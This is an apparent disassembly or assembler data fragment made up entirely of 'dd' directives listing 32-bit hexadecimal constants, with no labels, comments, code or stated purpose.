		dd 0EF120EF2h, 0E152885h, 28D9053Ch, 964DF0DFh,	3127CF00h
		dd 79D6B2E2h, 934B00AFh, 51633255h, 0D9012AFAh,	0DA451154h
		dd 88E88B24h, 2269004Eh, 40365AB7h, 6B728490h, 0DBD4F300h
		dd 0E6D759B8h, 28BB09F9h, 15D9901h, 41B0F0Bh, 1AA9D0h
		dd 0DFEDD516h, 0E8F32F71h, 0A4405900h, 8D5A1C98h, 0BE2300F2h
		dd 0B6A64D27h, 57032064h, 0FCD76C2Ch, 5604A849h, 71DB0E0Fh
		dd 73E7C976h, 64238F44h, 0A6E80D8Bh, 0FA006603h, 2DECAEBh
		dd 61E3EB9h, 3578199Dh,	38001005h, 0F047D753h, 2461FD9Eh
		dd 8004E1B7h, 0EA2BFF78h, 53003525h, 3D067E0Ch,	0ED22037h
		dd 0D1103BE7h, 8FE2300h, 538CFB6h, 7A61822Bh, 0C073BA80h
		dd 902911F4h, 0A19C00D7h, 0CB65C370h, 6300D47Eh, 2AD95ABEh
		dd 0ED0A3B4h, 66918B72h, 4B3EB1C0h, 4E006B3Bh, 9C501077h
		dd 7B8F9B0h, 0D391DDC3h, 8808B059h, 0D736A1FEh,	0C250E1h
		dd 81F68632h, 9961FFBCh, 0B3F43500h, 33B8F0Fh, 583A05BAh
		dd 82E0D2A9h, 5C40BE37h, 0C6F08D82h, 7205FE01h,	84CF40DFh
		dd 73EFC4h, 4739AA7Dh, 0C7C66916h, 0ECA72A00h, 0C1197F13h
		dd 829F185Bh, 0FE812041h, 0B1FD6E02h, 0A0CD807Bh, 71188D0h
		dd 4E0409B5h, 36832455h, 9FB88F0Ah, 0C8005701h,	2A1DEDF0h
		dd 1D05F7Ah, 46DE5CB1h,	7015F3ADh, 6B1C0698h, 3D41DBC1h
		dd 0AEDABC3Ch, 0DC2000F3h, 0D7578A6Fh, 0BA0166A5h, 4FCFFC3Eh
		dd 8840639Ch, 0EA6BEBh,	0EF686DFEh, 8AD6C2A0h, 0F1DF6901h
		dd 0B5A30363h, 0D4393982h, 0DC80DBFBh, 0D8516450h, 70C53C00h
		dd 6D26218Ch, 16FCE5h, 0C47CBFE4h, 80F5B2EBh, 86B73B39h
		dd 63C61376h, 98C7120h,	0B388ABECh, 95BD9000h, 0F407D5E8h
		dd 2A31333Eh, 81C75292h, 0F8648ABCh, 0E4F7FFCCh, 84BC0006h
		dd 845EF74h, 3E00216Ah,	0C4A7D6D2h, 659687h, 0BB57755h
		dd 0F7F13523h, 4B945617h, 0D8FD4D00h, 3848262h,	2B226D99h
		dd 0C400B1B8h, 0C778CE6Bh, 79397707h, 475000F6h, 43128EBEh
		dd 2D009727h, 4C7A0463h, 9F6F516h, 6BE975FAh, 0A1B88C00h
		dd 4E0071CCh, 775FD474h, 78F2809h, 0E5061A9h, 6DDEA18Ch
		dd 0B420804Fh, 0FBDBEB3Ah, 0AD0300DCh, 0C6689F4h, 0F0008220h
		dd 61B715C6h, 7C4F5890h, 4CBF3050h, 6FF58C38h, 0F8DAD0Eh
		dd 0B2B34405h, 0AC94ACD0h, 2E2D124Ch, 0BE28418Ah, 0EC97065Fh
		dd 0B4000FA6h, 461ADB7h, 9603462h, 3EE732FFh, 79D84800h
		dd 3498D5AEh, 0F6F0EE00h, 678C975Fh, 23F70C4Fh,	0D2282224h
		dd 20980700h, 1FA1DEA6h, 36BC6BBFh, 0B6F99C0h, 0E1005F70h
		dd 0D156A093h, 6179681Fh, 0FAF95882h, 1EF1E090h, 0A83020F5h
		dd 9688C700h, 0AD99878h, 2B460072h, 0D2E05BE4h,	0C3009E09h
		dd 281417AAh, 0F03FA9h,	0BD3E16F3h, 0FC3D6EB6h,	74C8AB01h
		dd 5C83ECF7h, 0EA75420h, 0F316338Ah, 0E8ABC5C0h, 0EB001AFDh
		dd 0F4B2DA8Fh, 0B0B4C120h, 0AD550792h, 1CF280E7h, 3900D9CAh
		dd 8FEF8D17h, 0B5C15Eh,	7F106EE4h, 0ED6B5C5Dh, 47ECE900h
		dd 0F22401FAh, 0DDE309DFh, 0DC80B1BAh, 0B7A2EA1Bh, 4B10A900h
		dd 5B625D85h, 0F44900E9h, 2C3AE7D7h, 9E02F21Eh,	281CAE12h
		dd 0CCDA6067h, 2EE103E8h, 186EA74Fh, 223D2190h,	81EB6902h
		dd 0C0B05470h, 0B534BBh, 751E87E3h, 0B7D68EE0h,	62F8BA00h
		dd 0DD2259C3h, 3D3000DCh, 0BB4D199Eh, 26E08C3Eh, 0D55B1C00h
		dd 34B817DBh, 0D3420092h, 525A5029h, 85016A03h,	4B3393DEh
		dd 87D4C9F9h, 0BA9F0083h, 68B7FF95h, 0DA0E0934h, 0C050D9FAh
		dd 4BE105EDh, 5DBB006Eh, 0A4C7ECD4h, 0F813192Dh, 6000F51Bh
		dd 0FB525B7Eh, 0DA28078Bh, 71DF618Fh, 87F40602h, 0FD7B6360h
		dd 113AA6h, 7C89193Bh, 74F92C3Eh, 0B4458200h, 7A150208h
		dd 0CCAB0011h, 52EF42D1h, 8F7C5C91h, 0CDA9350Eh, 0CB252022h
		dd 6016EB20h, 907E98A6h, 1100DA07h, 388BCF3h, 7DBEB776h
		dd 0EA99FEE9h, 32AB07B8h, 0E0CC9C98h, 1F3D70E8h, 6B949E00h
		dd 0BF771758h, 0AFB022h, 9C90B633h, 307E596h, 1C671026h
		dd 0DA6CD400h, 267F9Dh,	88527ACFh, 7EEC513Fh, 0B1300E00h
		dd 0C872D6FEh, 0ADAF05D9h, 930BB0C0h, 15D85120h, 4909FDE5h
		dd 2D6FEAh, 0D6B768ACh,	63F20010h, 41C79E2h, 0FA025A66h
		dd 2601384Ah, 0D067E074h, 446F26C1h, 89B30038h,	0E18E27A5h
		dd 8B745D39h, 807898A7h, 12A670B0h, 563E1726h, 60B0A01h
		dd 64DD80E4h, 0CB825344h, 0A42A7A00h, 140A3BE6h, 3AA1009Bh
		dd 0A8B239FEh, 55008629h, 0DE7A0680h, 90B63681h, 17E70074h
		dd 2813BBF3h, 3498D670h, 33A7B75h, 638900BFh, 0D82B3AECh
		dd 0F4FB0B57h, 0AE00264Ch, 0AFDD725Ah, 7750B407h, 60B0719Bh
		dd 0CE96Dh, 2AED7BF1h, 5EB8EB75h, 1A8E6A00h, 0BBD58BDCh
		dd 30E900F8h, 52AFA076h, 0FB009287h, 6FE4293Ah,	7FA79B2Bh
		dd 55AA001Eh, 70146ED8h, 28000BECh, 0F1C505F7h,	0EF9D8Dh
		dd 1C373F56h, 8E7E584Ch, 47339802h, 6076E9B2h, 0CDF30Eh
		dd 0E137B19Ch, 3D98B466h, 0D6484C00h, 2AA72D71h, 260B0F9Eh
		dd 0DDE0FCBEh, 56D5A3C1h, 4806133Bh, 9C4E007Fh,	0D3CECA87h
		dd 0EEED0065h, 119E7E01h, 35E2E5FAh, 0E07F6600h, 0D938E72Ch
		dd 75BD1D8Eh, 9E130BECh, 0B5256300h, 9D0952F7h,	0C334F3h
		dd 0ACE0AE18h, 70B30017h, 3267209h, 0EF017A0Bh,	93ADDD54h
		dd 6ECC15CFh, 0C0E2D3h,	0C7A0A35Ah, 647BB6A7h, 0DA0EC470h
		dd 81B94F3Ah, 802B1CEDh, 2CCF7C60h, 406424D1h, 0D261491Eh
		dd 51C88C07h, 0A350405Fh, 0D6C17Ch, 0B904F3A4h,	9E027594h
		dd 6AAEA803h, 0B15ECB49h, 38304A39h, 985F5C6Ch,	7BC5B407h
		dd 0B0616737h, 0B572AA59h, 0DED1E200h, 0BC995D57h, 0A729149Ah
		dd 0D3009CDAh, 0CA11596Ch, 0AA00E152h, 25ED855Eh, 556A15h
		dd 278980FBh, 87BBE423h, 0D72B8800h, 0F13643C6h, 0BEDC01A1h
		dd 2981E07Ch, 0A4B0E873h, 0D83020Eh, 200720B3h,	27574Bh
		dd 7E16711Bh, 0A0BB238Fh, 0EABEC400h, 1F70F579h, 0D10F00B8h
		dd 53D2F7D9h, 0A400AC31h, 9BCA1C5Bh, 0E016E5Dh,	0F921C5D5h
		dd 0AADB5600h, 4F0113B7h, 0ED8B9E19h, 38705471h, 0A91F0647h
		dd 0D6E8A682h, 57BFA100h
		dd 5E86934Fh, 0C9250E61h, 0EF40384Bh, 32990D63h, 0CD41F3Ah
		dd 0B08D3C58h, 0E2222830h, 242900C2h, 0A0B31A5Bh, 2009B88h
		dd 85C72F53h, 8BD37Ch, 44031842h, 0D96E86B5h, 2DD8CC16h
		dd 0C9A4C000h, 7DF26EFh, 5BA87B34h, 7CAFB008h, 9D008FD0h
		dd 0B64C8765h, 3B5C24D5h, 21B7791Fh, 0CE1D50EEh, 0A300327Ah
		dd 0B8050C5h, 3E7552Bh,	545AF9D9h, 8800981Ch, 0DF7770F0h
		dd 1E30D15h, 0D07FEB3Dh, 0A459F791h, 0AE021820h, 0E09855A0h
		dd 54850h, 2621E41Dh, 7A610781h, 0C42F8205h, 8C010AEh
		dd 0B0E949ACh, 0F1CF00F0h, 0E305AB09h, 0DD007F03h, 1425D758h
		dd 7EE4C57Bh, 499F0F76h, 57CA94D4h, 8B4F01E4h, 20EEBE25h
		dd 2CF47234h, 32E0D616h, 0F6BD2CE0h, 53E81CF4h,	5A079834h
		dd 32787D15h, 1D78EC00h, 9C385C1h, 3AF807C8h, 1B703B7Bh
		dd 0BAFA0507h, 0C90200A0h, 1681C032h, 0D8049700h, 0FBF1F726h
		dd 69BC3075h, 0C9241E68h, 25DC9F07h, 56A09766h,	649189Ch
		dd 9865F3EDh, 0C9751041h, 228F7501h, 0C67B195Eh, 1A458FEh
		dd 69F7FC42h, 288BE33Eh, 27AA0318h, 54730Bh, 0EF196A11h
		dd 4C5877EEh, 3C701D07h, 5C105BE7h, 3061FDCEh, 0F151D3DBh
		dd 5E07ACB7h, 6A1D4162h, 65421100h, 80FE4AF6h, 30902F93h
		dd 4972FB60h, 6453366Fh, 0D00D52ACh, 93ED065Ch,	0F458C206h
		dd 0FE282269h, 94100023h, 99B4D04Bh, 8801C5F8h,	0F9182824h
		dd 84CC5D30h, 0D75E01D1h, 0AE2CB378h, 84E0DEE1h, 21E88FE3h
		dd 0A79E1400h, 0F8CA76D5h, 0D90B18FFh, 1940FE46h, 2226A00h
		dd 60D4EC4Fh, 54490083h, 5FCDD138h, 0E01AECAh, 0FA727166h
		dd 6CE4B342h, 0E2D701D0h, 1A732513h, 30B8F94Bh,	7002AA4h
		dd 171F6B9Bh, 5DDE6FAh,	0E4CE14A7h, 5EEC03A9h, 0BE007672h
		dd 0F586B667h, 2A55D4h,	189E95C3h, 0CE16F470h, 7B045DF6h
		dd 0BFE76242h, 984BA4C0h, 3CD90051h, 0C29B92A9h, 0BD000FCFh
		dd 326C28F6h, 17FD2E5h,	0AA47468Ah, 40787B02h, 0CEA5FDC8h
		dd 9200209Eh, 0B47AE3DDh, 7043030Eh, 0E1785C05h, 0CEB0809Dh
		dd 14B8364Ah, 5A2EB273h, 88802A0Dh, 0DD1DE4D5h,	9D6E00C7h
		dd 0D702BAFBh, 4000FE16h, 49A8C473h, 0F4708391h, 90FC7FF8h
		dd 54BD5C08h, 2E019B3Ah, 9D36C612h, 0B459E818h,	63B4200h
		dd 0F7820B6Ah, 0D8A44839h, 0DA3A5500h, 62FCC736h, 85B8C000h
		dd 0B59F69CFh, 0C6A113D4h, 0C0641E2Ah, 0CB73A9E7h, 28968D25h
		dd 897CD00h, 662D01h, 0E0DDE86Eh, 82FEF396h, 0BB263F0Eh
		dd 0A978224Fh, 0E97CE1F1h, 14FDB3F8h, 80C27FFFh, 97EE0E07h
		dd 1E02109Eh, 0F5008A0Ah, 0DE060F2Fh, 394B89h, 44551035h
		dd 4F76CF48h, 305A8A26h, 89C7BF1Eh, 106C3B2Ah, 0B83D37F2h
		dd 4D3A21BAh, 742980F0h, 29E99D28h, 26A50003h, 0D0BC7DB4h
		dd 78008BC8h, 0E722A615h, 0C1662E1h, 0AF4F01EBh, 5540C368h
		dd 0C12C0558h, 0A01545CCh, 4E003670h, 931C12C8h, 4CEC29Eh
		dd 2C5381E9h, 0D018E191h, 0AA0021B2h, 0C3F33D36h, 70323D6h
		dd 0DF6F48CAh, 224D70E6h, 90001EAAh, 0BAA1DD16h, 26F7A6C4h
		dd 9843FAh, 94658B77h, 98C3AD82h, 167F142h, 0BCC31580h
		dd 0FC6D2B29h, 36B05C19h, 4E3E971Eh, 5A0EF53Fh,	1426276h
		dd 7E983B55h, 0FEE771E0h, 19F109A0h, 0D40006E4h, 0F8C03EE0h
		dd 37455000h, 0B0CD3868h, 4821487Eh, 3DDCFB00h,	0A4958633h
		dd 1956B830h, 3B0A3D5h,	4EC2AABEh, 60CF0307h, 0FAC3B471h
		dd 0AEA127h, 0FD336C28h, 39683C26h, 13717880h, 0CD7EB685h
		dd 0BA4A6EFCh, 7F007416h, 815E3C0Fh, 9FBD7AC8h,	4F0014D0h
		dd 0DEC491FAh, 90EA75AFh, 8B6800D2h, 3F83C88h, 8E00D26Dh
		dd 5E930555h, 0A25ABC5h, 0D494921Ah, 2BCC0994h,	3DD88C40h
		dd 0B5E3500h, 0A75763BAh, 0F282661h, 0C5F7004Dh, 0A6DA1DD8h
		dd 550E87F4h, 0C09503B4h, 79E25EC3h, 670A013Dh,	295236EBh
		dd 328160A6h, 10B88027h, 7E99308h, 4FB37D94h, 84736722h
		dd 0C0F4CAFDh, 5DC723D8h, 0F05000Eh, 0C57F37F8h, 0F5011781h
		dd 6E521E78h, 0D08066CAh, 0BA57D890h, 3E002295h, 0BE68720Bh
		dd 5A86A463h, 9ED5804Bh, 0E0980214h, 12C28C3Ah,	0BC009864h
		dd 41B962CBh, 0FD1E3C8Eh, 4536C400h, 4BDC7629h,	0BB85E003h
		dd 0DBAD2B3Fh, 1378A8BCh, 0E5BD00F2h, 27A8B4FCh, 9C726340h
		dd 0CFDCE850h, 0B1C30400h, 0A105F0BFh, 4D9000EAh, 1F5DF575h
		dd 0B000D691h, 0D1ECA525h, 0F7857D0h, 6DEF7A40h, 4809C0DDh
		dd 0A62AD473h, 5C776B24h, 0DC37D900h, 0FB3DD5h,	0AF7BF5B6h
		dd 81676601h, 3FD12400h, 4794D091h, 298A0092h, 3A46AEFBh
		dd 3D0E6032h, 0A03F6555h, 122C042Bh, 96C10091h,	668E081Bh
		dd 6F5E023Ch, 0ED0D5000h, 4DAA6Ch, 1B16435Eh, 544FEA8Dh
		dd 4B316400h, 9D389A2Bh, 7897AEEh, 8AC5E2F0h, 52F7E0ABh
		dd 28006A7Dh, 4F399FB5h, 26F8674Bh, 3A902415h, 0AC79A700h
		dd 0B3E9EF87h, 59DA462Eh, 860B616h, 0BD7222h, 4B83355Ah
		dd 0E24F9EFBh, 9B1D0FB0h, 6400E57Dh, 6259EEEDh,	2AD6004Bh
		dd 9AA3F650h, 9200D409h, 0FDDD0D9h, 37003C7h, 5201F97Eh
		dd 308705DFh, 0F18C1821h, 982B480Bh, 1CF500E5h,	0F3C9Ah
		dd 92AE5628h, 0D906A84Ah, 9C613602h, 0E859ACA5h, 18215C0h
		dd 0F3C45E4Bh, 0DC35BDD2h, 540040E9h, 0B42494B2h, 3E579Eh
		dd 4C3CEDE4h, 0CEE5DB99h, 89D44424h, 650B003h, 0FC9CDB0Ah
		dd 7F3C5480h, 39FE0038h, 331BC2C4h, 0B91FF0C3h,	0D19FBC74h
		dd 7E405044h, 6771ACD0h, 0EE532763h, 423AA880h,	0B4000AC4h
		dd 0D7DA0795h, 0FD848Fh, 0B8EC750Dh, 0BCFA8DC9h, 0DB002BECh
		dd 0F35C7BD0h, 8C81A0h,	5B3C4DADh, 60A50548h, 0D30F14A0h
		dd 0AA07F05h, 0DB8086C9h, 0F3D276Ch, 0C3AC7287h, 31144352h
		dd 9BF07A05h, 0C2189122h, 13186277h, 0CD590C29h, 991187C1h
		dd 33385E00h, 91E60E01h, 0C7FF0FA9h, 3503170Ah,	0B9EB8CE1h
		dd 46D5E003h, 0C35421FBh, 39BED9E6h, 9C363980h,	0F959418Dh
		dd 0A29E6000h, 3E7D4C44h, 5A253C58h, 7065DA00h,	0E65591A9h
		dd 0A9B1FE30h, 0B59D11Dh, 5AC13264h, 1A3FC0E8h,	2476EA00h
		dd 5BBC70C2h, 59150025h, 0C1E7CBE5h, 0E400F9F2h, 45CF89DFh
		dd 3FB86Fh, 4F4B079Eh, 0BFC00CD1h, 5800C8FAh, 7D14F489h
		dd 1C9899F0h, 0C077F361h, 0A9C16D15h, 0D3005C46h, 0E72E855Bh
		dd 2E1DC35Dh, 858607h, 0C0065E6Ah, 0BC0063D4h, 0D56B4991h
		dd 0EAA32B44h, 69D60014h, 0E2A42A0Dh, 230721EFh, 18C4CF6Fh
		dd 16EC94Ch, 5B173012h,	20D654C3h, 28C5FEFAh, 8000B0C5h
		dd 1D879DA7h, 0E5B0A8B8h, 91C20054h, 7921C347h,	8C95B3Eh
		dd 0AC546009h, 2A5FA9Ch, 0B7E0192Dh, 74542A5Ch,	0BBE22583h
		dd 8460002Bh, 5F6382B6h, 0E0220E2Ah, 0CF3A1EDh,	0E2EA3180h
		dd 589C9013h, 0FAB0F8C7h, 0FC17FB10h, 0D814E6B3h, 1270A8B8h
		dd 10DDEC30h, 1DCD69h, 474E9CE9h, 0F6E5B6D4h, 8C2B7100h
		dd 0B338E746h, 13587C8Bh, 128BFCEh, 0AA94F11Ah,	26B34095h
		dd 0E70038DBh, 59178CD3h, 39632166h, 0ED0EAC62h, 9B61453Eh
		dd 0F838E502h, 0E3006144h, 7D09EB52h, 142756h, 3E063CB7h
		dd 0B8A95A9h, 99541000h, 8C767133h, 9AD0017Bh, 6521DA4Ah
		dd 0A2E0F031h, 7170EA00h, 5D266245h, 0A1D00049h, 2414C38Bh
		dd 0A3E0F24Ah, 0E8328700h, 0A8518C77h, 1E2101E7h, 0A7CB2A27h
		dd 7C8A6094h, 0F300AEF0h
		dd 0AB4460DCh, 145DE3Ah, 4C8BD935h, 0F0BCD7CFh,	0E20061CDh
		dd 5A65DCD3h, 0BDCC4Dh,	72DB7391h, 4EB96641h, 490030F2h
		dd 6FFB6267h, 1205DAh, 7375C189h, 7E014088h, 0E2643301h
		dd 91BB5AB9h, 586BBD70h, 3100DC1Ch, 304BA773h, 8C00F7EEh
		dd 0C34CF9C7h, 0A0C0DFEDh, 0F8DE27ACh, 0CA3800BAh, 51C726B2h
		dd 18D111FEh, 0B8187410h, 3610B139h, 0FF72009Bh, 45D4856Dh
		dd 0AF0010DBh, 19C4D1F6h, 3FA1FB8h, 0CB0B923Fh,	2870FC8Ch
		dd 4A181084h, 0C6B21C5h, 2C517180h, 44453844h, 7208730h
		dd 70FB323Eh, 4113829h,	57322FAh, 9077A82Eh, 44768824h
		dd 6680214Fh, 2910D012h, 1BA1CA62h, 0D4460814h,	0BA39FC88h
		dd 6B711C2h, 21780411h,	767A0808h, 828E394h, 11FE7CE0h
		dd 0D97828F4h, 9082DC00h, 1B3FA03Ah, 5CC86318h,	0E0E8136Fh
		dd 7003FCA9h, 32FAD21Ch, 4169983Dh, 0FF62Ah, 0B7FDB5C4h
		dd 0F916A58Ch, 333ED000h, 451950B2h, 35AB00D4h,	0CFDB86BCh
		dd 657EE0FAh, 80A8603Eh, 58959159h, 308A32h, 19CC8C5Dh
		dd 0C850E4BEh, 0DA370100h, 0F07B533h, 0BD1E01BBh, 1095CD38h
		dd 1306D8D9h, 2C03A01Dh, 0F57E35C0h, 2C4E12BAh,	2A76DEC0h
		dd 0CFC41D20h, 3183477Fh, 8B7A9054h, 0F0EF4B32h, 9300DCCEh
		dd 1CBED989h, 0FC254Dh,	0D7618F88h, 71BB1FC9h, 6503F6Bh
		dd 30500777h, 4AD08ADAh, 21B88337h, 75AE6800h, 5A12F238h
		dd 0CFD000BFh, 0BAD4067Dh, 0B8002BEDh, 3BB09B88h, 7684F6h
		dd 2A66E85Dh, 0AB86AE22h, 0DBB05B5Fh, 9869339Bh, 53A81710h
		dd 0E7005A48h, 47749228h, 4ECEEDh, 90ECD8BCh, 3CCD515h
		dd 0E7446E00h, 5EB97610h, 0E289248Eh, 0C86B0351h, 34F02920h
		dd 4D75108Bh, 0E091521Dh, 3BE227C0h, 384FAE5h, 0EC90285Fh
		dd 21B0FEE9h, 58032C69h, 37E7593Ah, 53C6C0B5h, 8FDA0362h
		dd 0E18AAC3Dh, 0D3AFA8D0h, 322AE400h, 0CA233FE5h, 0C3F61497h
		dd 0CF00CF61h, 93178D79h, 0B20066E0h, 168B4B12h, 21359h
		dd 842106CEh, 0FFBCF490h, 40D76B03h, 0D07CEA77h, 0DD8FFDh
		dd 0A7FEDB8Eh, 0BFA4B408h, 10D55000h, 76ADF943h, 89C00060h
		dd 0B4683A74h, 9009533h, 2BD57EC6h, 13E76Bh, 0E626547Dh
		dd 0FF1A92ECh, 0F550A8B0h, 7E73ACDEh, 0D5F44E0Bh, 0D1EF83DCh
		dd 2DBBB041h, 0EA2400CEh, 0C52EB3F1h, 0EC00598Dh, 4D421426h
		dd 4822A458h, 9E015893h, 5DF694B3h, 4650D04Eh, 4203A700h
		dd 6E7EAEDDh, 0FE7F003Eh, 0A9D0F834h, 87006188h, 0D2C59937h
		dd 71C27E1Dh, 4D500195h, 51F991C9h, 1174306Dh, 381583Bh
		dd 9C2A44B8h, 3CC98840h, 0ED893DF3h, 15FF9701h,	209BC4EEh
		dd 0BB00EB14h, 88F8C863h, 118C19h, 8D0F2DCEh, 68557A3Bh
		dd 7C05DF03h, 0CAF14529h, 0B060F5FFh, 0FE3A54F4h, 9AAF8064h
		dd 0BA201B43h, 97E93085h, 0C83521E0h, 8276BF03h, 0E8EF6A93h
		dd 5C8B38h, 398071E0h, 0D0904BC4h, 0ABD62301h, 35F56DD2h
		dd 158F020h, 0D1F993D5h, 0CCBBD834h, 1101C522h,	0D071FDD6h
		dd 0D081308Ch, 0D2FB58E5h, 0EAE3F468h, 2E8EB100h, 9F59BA7h
		dd 0DBA300CCh, 54249A14h, 51002D65h, 56D9938Ah,	45D2ACh
		dd 0E9CD95FFh, 30B7BB52h, 0E1003898h, 4B8ABD63h, 0E4FA6A54h
		dd 25A30098h, 5BE67C5Dh, 0DF3DE896h, 27158092h,	79A1D575h
		dd 0C9AF00E2h, 1BEC63C7h, 48037A9Ah, 81F16D40h,	405DAA8Fh
		dd 291427h, 0FE5504D8h,	5A53ED2Fh, 1FF47C5Dh, 7640AB39h
		dd 3E0BA808h, 0A18D002Ch, 8FEA5533h, 9A09C660h,	789540h
		dd 1E862FBCh, 0D40301FDh, 66D73F7Eh, 9511700Ch,	0EBD12500h
		dd 11C3E0EEh, 0EAF5EE1Dh, 812100A2h, 9A42A71Fh,	35076604h
		dd 0AE97995Bh, 67F0CE4Dh, 764E834h, 3B3B1AFh, 0DF22E0E4h
		dd 6BE83FAAh, 91943B00h, 0BF3EC1FDh, 28D09060h,	0F2F303h
		dd 0D75BD8C2h, 5ED2E309h, 9437B100h, 0D15E720h,	0FE2400B9h
		dd 0C0AC9AC7h, 8C002D0Ch, 54AE693Eh, 1CD404E6h,	44A780EEh
		dd 87B70950h, 0A4D950D0h, 0AA00023Bh, 3CD8BE39h, 72553841h
		dd 9E7D7Fh, 0B1E307DBh,	0C1ECB99Ah, 805CE23Ch, 0CE4CA4AEh
		dd 0A0E670h, 0E4B723EAh, 0A3EEB48Bh, 3FD68E00h,	1E19F125h
		dd 44834899h, 14245C7Eh, 0AB501100h, 154C79EAh,	7FC85F00h
		dd 0E167AC21h, 10824DFDh, 0B4DBA705h, 88A9C6F7h, 0F631E500h
		dd 0BE2ECCA2h, 66E91C9Dh, 423A9FAFh, 0CE03C88Fh, 29179060h
		dd 0A3C87CA3h, 490302EAh, 608270BFh, 776CF133h,	57020h
		dd 74E0C92Fh, 67F47838h, 72D848h, 6050981Bh, 9037C71Fh
		dd 0CD840C58h, 0DE706EF7h, 3B130900h, 0E51A2851h, 6C70174h
		dd 0C511CE64h, 0A050E4E9h, 0E37CC0A0h, 0E7A4230Fh, 0C17A80D2h
		dd 0BA1F85Dh, 0DE81926Ch, 60C32C06h, 0A91C2C98h, 7F40C523h
		dd 0A1704CBBh, 7EC80332h, 3D25C3A2h, 4B6B97D8h,	194EE30Eh
		dd 56B9C05Eh, 7FBD14F3h, 95A100DFh, 0B73F2154h,	0F8B0F1FBh
		dd 0BFC2470Eh, 7767202Dh, 9061745Fh, 93DE009Ch,	0F519D08Dh
		dd 6A3F4C9Bh, 123505B6h, 0C8808FC0h, 1F00A71h, 6552F866h
		dd 24DBB495h, 1FFEC8E8h, 5FA8E81Ch, 22B8AB01h, 1430BE87h
		dd 69D400D6h, 0BC590BEBh, 74001C62h, 24FA449Bh,	1DDD7BF1h
		dd 0A6535E9h, 80F44188h, 2E512CA6h, 9F6854Bh, 0B4CCE500h
		dd 32806B9Bh, 72C200FEh, 844E100Eh, 0F7003D8Ah,	7341CE4Dh
		dd 3A966Bh, 0DE15BEA5h,	0E2E70240h, 0FFD91100h,	4BEBCF43h
		dd 0BC6A0004h, 8AC185F4h, 0B06093BFh, 601A01E0h, 238B2631h
		dd 1DAA805Ch, 96D815EDh, 0F73BEC00h, 67065049h,	0ECB091h
		dd 0E7864A54h, 16F8B459h, 0CD26C00h, 0CAC78B04h, 0C04172D4h
		dd 0CD15C5E0h, 730B8172h, 0AB5BA7h, 0C120EC64h,	55441F58h
		dd 8E9307AFh, 0F8A0DE3Fh, 2AA3C36Eh, 6CB1F51Fh,	0B842A040h
		dd 0CF8201h, 0BF7507E8h, 15843789h, 0ADDC5600h,	4976EAC2h
		dd 13E31D6Eh, 0A52A4C40h, 0D507A2D8h, 18F6AE0Fh, 32ADA0A0h
		dd 2EB7E6C9h, 0AD5924h,	728A6DC7h, 0D0075C0h, 13E2A7E7h
		dd 0EAFE533h, 9E0A9F49h, 0C6183B00h, 0FD018FCEh, 81D89D4Eh
		dd 0FD40FA61h, 0FB8B0Bh, 742EC1DBh, 1409BB2Dh, 22374C00h
		dd 2FB039F1h, 0C0937C26h, 0E1482D28h, 8100AFC7h, 5638EDDFh
		dd 0E94173h, 0A362F846h, 1C02BCAEh, 0C01267Bh, 32E1079Bh
		dd 7AC0CBCFh, 5940021h,	8D0A1DA1h, 0FA00068Fh, 5E633A5Bh
		dd 1FA39548h, 40945A2Ch, 516DF0Ah, 6600CFD7h, 1E673357h
		dd 6048CEh, 0D274442Fh,	700F7B88h, 80D4C939h, 0CAEDC393h
		dd 77C2A5Dh, 0CC94DC5Ah, 0C7EE40B6h, 0E000758Ah, 8C163F18h
		dd 68D45A1h, 0E11351FCh, 0F707A2C0h, 312564D0h,	6EAB3C40h
		dd 45BC0062h, 91244EF4h, 5C0028E3h, 751585D1h, 4B76Bh
		dd 9D82B95Eh, 8F79C836h, 0D12D300h, 1BD2DC84h, 66083894h
		dd 4A292E80h, 0B99D5DDh, 0D72ADA00h, 5155D98h, 0E77C0088h
		dd 705949F6h, 2D031339h, 0AAD8336Bh, 0DBF9017Dh, 0A21F5BCFh
		dd 0A1803F51h, 317F2Ah,	9802444h, 6A1B29D5h, 8C06C201h
		dd 42613C41h, 0B582A840h, 4DD1005Dh, 16041E74h,	2D81E3D2h
		dd 0B4A740F6h, 360A0A3Fh, 848CE429h, 0F24603Bh,	0BDB322BAh
		dd 7AA5E085h, 265C0067h, 0B0CDD094h, 9C3D848Ah,	591409C4h
		dd 2B4B80BDh, 74801963h, 60860781h, 37D0BB6Ah, 2000C9CAh
		dd 0C6686DADh, 9B23F207h, 0B8F052C5h, 9DC174h, 37B38801h
		dd 6989F47Bh, 0AE723000h
		dd 7EBF5FAh, 0E8C10CDCh, 0CA4896D9h, 0AB0A901Eh, 0AEAA2B00h
		dd 64727Ch, 7E54E4E8h, 0C07A12A9h, 20700509h, 0B1366094h
		dd 9FF6E7h, 2A65969h, 7943F7E1h, 3FB02B26h, 0B3EAFF01h
		dd 31F8172Ch, 7AA53EB8h, 4059CE8Eh, 9FBDA0E0h, 0B00DB9Eh
		dd 715DB2FFh, 3F3B62Dh,	0C9945E66h, 94BCE427h, 1763C0A8h
		dd 59002EACh, 95C1A866h, 4B4FB9h, 0BE47AD38h, 0A032DDA6h
		dd 1B778D00h, 0E303DFC7h, 486AE68Bh, 2200047Dh,	0A68A49ADh
		dd 0DC1CC4D3h, 3C819358h, 2B02B908h, 757D560h, 0C92C684Fh
		dd 80256244h, 0B9FBBC80h, 0C7000D46h, 297E87DCh, 4B5FA3h
		dd 2BE914A8h, 1E60D01Fh, 66993A01h, 96D5EED8h, 9FF82024h
		dd 0B50188D8h, 0B4E2C2Eh, 0B040A204h, 1D610A30h, 4E9EF102h
		dd 2A80DDB7h, 28BA7E4Ah, 0D70077E4h, 0A17C8662h, 60D19017h
		dd 8C55C87Bh, 33020E9Ch, 0CEECFF6Bh, 0F16C487Ah, 0F44D72D9h
		dd 0C9153152h, 300137B0h, 2008114h, 0F9721E50h,	0F719C5h
		dd 0ABA3D40h, 613836D5h, 7F242CFCh, 0DD0368C8h,	0B0FF62B1h
		dd 0E36358Fh, 0F3C5C0F7h, 0AA057FA0h, 0DB1E26BCh, 0B1CF9C14h
		dd 0A47B601Eh, 0B47E48h, 1C13D93h, 0CCD8F0EBh, 8BE25D03h
		dd 143B8762h, 0E497F8C0h, 8315C0DEh, 264058Dh, 881EAE00h
		dd 7E0DF84Ah, 45C8A011h, 0EA790CCCh, 0CE10D3ADh, 1403ED00h
		dd 7E70A0F6h, 9B10386h,	6E3C1F84h, 1532F3C8h, 0FB994100h
		dd 0E4BEB02Fh, 0EDC70429h, 0C34A633Bh, 0D8C039A0h, 722C8D1Bh
		dd 7F09B257h, 0C7588EF8h, 0DA606E10h, 924D1Dh, 31F7F9F0h
